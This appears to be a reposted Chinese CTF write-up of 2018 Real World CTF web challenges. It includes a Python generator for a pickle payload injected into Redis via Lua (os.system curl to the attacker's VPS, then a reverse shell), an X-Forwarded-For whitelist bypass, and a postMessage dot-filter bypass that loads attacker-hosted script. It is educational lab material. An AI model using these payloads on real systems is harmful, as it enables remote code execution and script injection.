2018RealWorld-Web

栏目: 数据库 · Redis · 发布时间: 5年前

内容简介:恰逢暑假,听说长亭科技出题,于是尝试了一下,写下部分writeup

2018RealWorld-Web

前言

恰逢暑假,听说长亭科技出题,于是尝试了一下,写下部分writeup

Advertisement

2018RealWorld-Web

题目打开有点迷,没有任何东西

下意识的进行文件泄露探测

<a href="https://realworldctf.com/contest/5b5bc66832a7ca002f39a26b/www.zip"><code>https://realworldctf.com/contest/5b5bc66832a7ca002f39a26b/www.zip
</code></a>

得到flag

2018RealWorld-Web

BookHub

2018RealWorld-Web 拿到题目后发现有源码泄露

<a href="http://52.52.4.252:8080/www.zip"><code>http://52.52.4.252:8080/www.zip
</code></a>

下载下来后发现是flask框架写的

简单浏览了一下路由

发现大部分功能都是

@login_required

所以先尝试登陆

<a href="http://52.52.4.252:8080/login"><code>http://52.52.4.252:8080/login
</code></a>

随手尝试一下,发现

2018RealWorld-Web

于是去跟过滤

@user_blueprint.route('/login/', methods=['GET', 'POST'])
def login():
    form = LoginForm(data=flask.request.data)
    if form.validate_on_submit():
        user = User.query.filter_by(username=form.username.data).first()
        login_user(user, remember=form.remember_me.data)

        return flask.redirect(flask.url_for('book.admin'))

    return flask.render_template('login.html', form=form)

跟到 LoginForm

class LoginForm(FlaskForm):
    username = StringField('username', validators=[DataRequired()])
    password = PasswordField('password', validators=[DataRequired()])
    remember_me = BooleanField('remember_me', default=False)

    def validate_password(self, field):
        address = get_remote_addr()
        whitelist = os.environ.get('WHITELIST_IPADDRESS', '127.0.0.1')

        # If you are in the debug mode or from office network (developer)
        if not app.debug and not ip_address_in(address, whitelist):
            raise StopValidation(f'your ip address isn't in the {whitelist}.')

        user = User.query.filter_by(username=self.username.data).first()
        if not user or not user.check_password(field.data):
            raise StopValidation('Username or password error.')

再跟到 get_remote_addr()

def get_remote_addr():
    address = flask.request.headers.get('X-Forwarded-For', flask.request.remote_addr)

    try:
        ipaddress.ip_address(address)
    except ValueError:
        return None
    else:
        return address

发现address来自于 X-Forwarded-For ,若不存在则来自于remote_addr

那么应该是可以使用XFF伪造ip了

我们本地测试一下

2018RealWorld-Web 2018RealWorld-Web

发现是可以伪造的,然而题目却怎么也不行= =(不知道什么鬼)

绝望之际,发现白名单中有一个公网ip

18.213.16.123

直接打开,是没有http服务的,随手测试了flask的默认端口,有点意思

2018RealWorld-Web

原来这才是真正的大坑,这里网站直接跑在了debug模式

迅速去看代码里的

if app.debug:

发现

@login_required
@user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
def refresh_session():

我们尝试这个路由

2018RealWorld-Web

添加csrf_token

2018RealWorld-Web

发现refresh_session()竟然存在未授权访问

(至于为什么 @login_required 写了还能未授权访问?大概是因为 @login_required 写在上面了,仔细观察,别的都写在user_blueprint.route下面)

关注到后续代码

status = 'success'
        sessionid = flask.session.sid
        prefix = app.config['SESSION_KEY_PREFIX']

        if flask.request.form.get('submit', None) == '1':
            try:
                rds.eval(rf'''
                local function has_value (tab, val)
                    for index, value in ipairs(tab) do
                        if value == val then
                            return true
                        end
                    end

                    return false
                end

                local inputs = {{ "{prefix}{sessionid}" }}
                local sessions = redis.call("keys", "{prefix}*")

                for index, sid in ipairs(sessions) do
                    if not has_value(inputs, sid) then
                        redis.call("del", sid)
                    end
                end
                ''', 0)
            except redis.exceptions.ResponseError as e:
                app.logger.exception(e)
                status = 'fail'

这里明显使用了redis lua,看来是要在session上做文章了

我们发现代码中具有可控点 sessionid

并且这里存在严重拼接问题

例如

2018RealWorld-Web

我们可以闭合双引号,并引入恶意代码,让 redis 去执行

(注:f是 python 3.6的新特性,在2018MeePwnCTF曾出现过一道使用该特性的题目,不再赘述)

我们观察到构造方法

local inputs = {{ "{prefix}{sessionid}" }}

跟一下

prefix = app.config['SESSION_KEY_PREFIX']

发现

app.config['SESSION_KEY_PREFIX'] = 'bookhub:session:'

于是即可构造:

6f17c248-ed0d-4d74-bba6-21b9342c854a",redis evilcode,"bookhub:session:skycool

2018RealWorld-Web 代码拼接后变成

$python3 main.py
{ "bookhub:session:6f17c248-ed0d-4d74-bba6-21b9342c854a",redis evilcode,"bookhub:session:skycool" }

显而易见,下面我们只需要思考构造 redis evilcode 即可

这里参考ph的两篇文章(当然要参考出题人写过的文章呀XD)

<a href="https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html">https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html</a>
<a href="https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html">https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html
</a>

其中ph的两篇文章分别有提到:

2018RealWorld-Web 2018RealWorld-Web

23333越看越像这道题

既然如此,我们可以给自己构造的一个session赋反弹 shell 的值,于是构造如下evilcode

redis.call("set","bookhub:session:skycool",反弹shell)

打完之后将自己的session改为skycool,刷新反弹shell即可

那么开始实操,我们先尝试一下curl

生成反弹shell payload代码如下

import cPickle
import os

class exp(object):
    def __reduce__(self):
        s = """curl vps_ip:23333"""
        return (os.system,(s,))

e = exp()
s = cPickle.dumps(e)
s_bypass = ""
for i in s:
    s_bypass +="string.char(%s).."%ord(i)
evilcode = '''
redis.call("set","bookhub:session:skycool",%s)
'''%s_bypass[:-2]
payload = '''
6f17c248-ed0d-4d74-bba6-21b9342c854a",%s,"bookhub:session:skycool
'''%evilcode
print payload.replace(" ","")

然后

2018RealWorld-Web2018RealWorld-Web

然后去登录

发现自己的vps收到访问

2018RealWorld-Web

此时眼泪哗的一下流了下来

同理反弹shell即可

2018RealWorld-Web 2018RealWorld-Web

Dot Free

2018RealWorld-Web

题目乍一看仿佛是SSRF

于是我进行了一些测试,发现ip2long:

2018RealWorld-Web

是可以请求的,但是我尝试了自己的vps,根本收不到请求

在迷茫之际,发现源代码中

window.addEventListener('message', function (e) {
        if (e.data.iframe) {
            if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object')) {
                if (e.data.iframe.type == "iframe") {
                    lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);
                } else {
                    lls(e.data.iframe.value)
                }
            }
        }
    }, false);
    window.onload = function (ev) {
        postMessage(JSON.parse(decodeURIComponent(location.search.substr(1))), '*')
    }

相当可疑

于是我查阅了一下postMessage

<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage"><code>https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage
</code></a>

发现

2018RealWorld-Web

于是这进一步确实了我的想法

既然确定了问题点,那么肯定是构造payload进行测试

首先确定payload的输入点

decodeURIComponent(location.search.substr(1))

window.location
window的location对象

search
得到的是url中?部分

substr()
返回一个从指定位置开始的指定长度的子字符串
这里设置为1,是为了把url中的?号去掉

于是可以确定format为

http://13.57.104.34/?payload
然后是 JSON.parse

说明要传入一个json_encode

那么根据题目的意图

if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object'))

我们肯定是要bypass这段的,但是我们希望我们构造的payload是可以成功打到自己vps的

但是 // 不能使用,于是想到

http:/

这样的Bypass

并且不能使用dot,我们还是选择ip2long

然后进入if..else后

我们肯定希望程序进入

else {
         lls(e.data.iframe.value)
}

因为

function lls(src) {
        var el = document.createElement('script');
        if (el) {
            el.setAttribute('type', 'text/javascript');
            el.src = src;
            document.body.appendChild(el);
        }
    };
这样可以把我们的src添加到 document.body

即可触发恶意操作

于是构造

2018RealWorld-Web

尝试

http://13.57.104.34/?{%22iframe%22:{%22value%22:%22http:/\2130706433:23333%22}}

发现收到回显

2018RealWorld-Web

下一步一气呵成

在自己的index.html中写入

2018RealWorld-Web

然后再请求

http://13.57.104.34/?{%22iframe%22:{%22value%22:%22http:/\2130706433%22}}

即可收到

2018RealWorld-Web

后记

我还是太年轻了,尽走弯路= =,感谢巨佬的中途carry,让我学到好多知识Orz


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Perl高效编程

Perl高效编程

霍尔 / 胜春、王晖、张东亮、蒋永清 / 人民邮电出版社 / 2011-5 / 65.00元

《Perl高效编程(第2版)》,本书是Perl编程领域的“圣经级”著作。它提供了一百多个详实的应用案例,足以涵盖编程过程中经常遇到的方方面面,由此详细阐释出各种高效且简洁的写法。一起来看看 《Perl高效编程》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

随机密码生成器
随机密码生成器

多种字符组合密码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具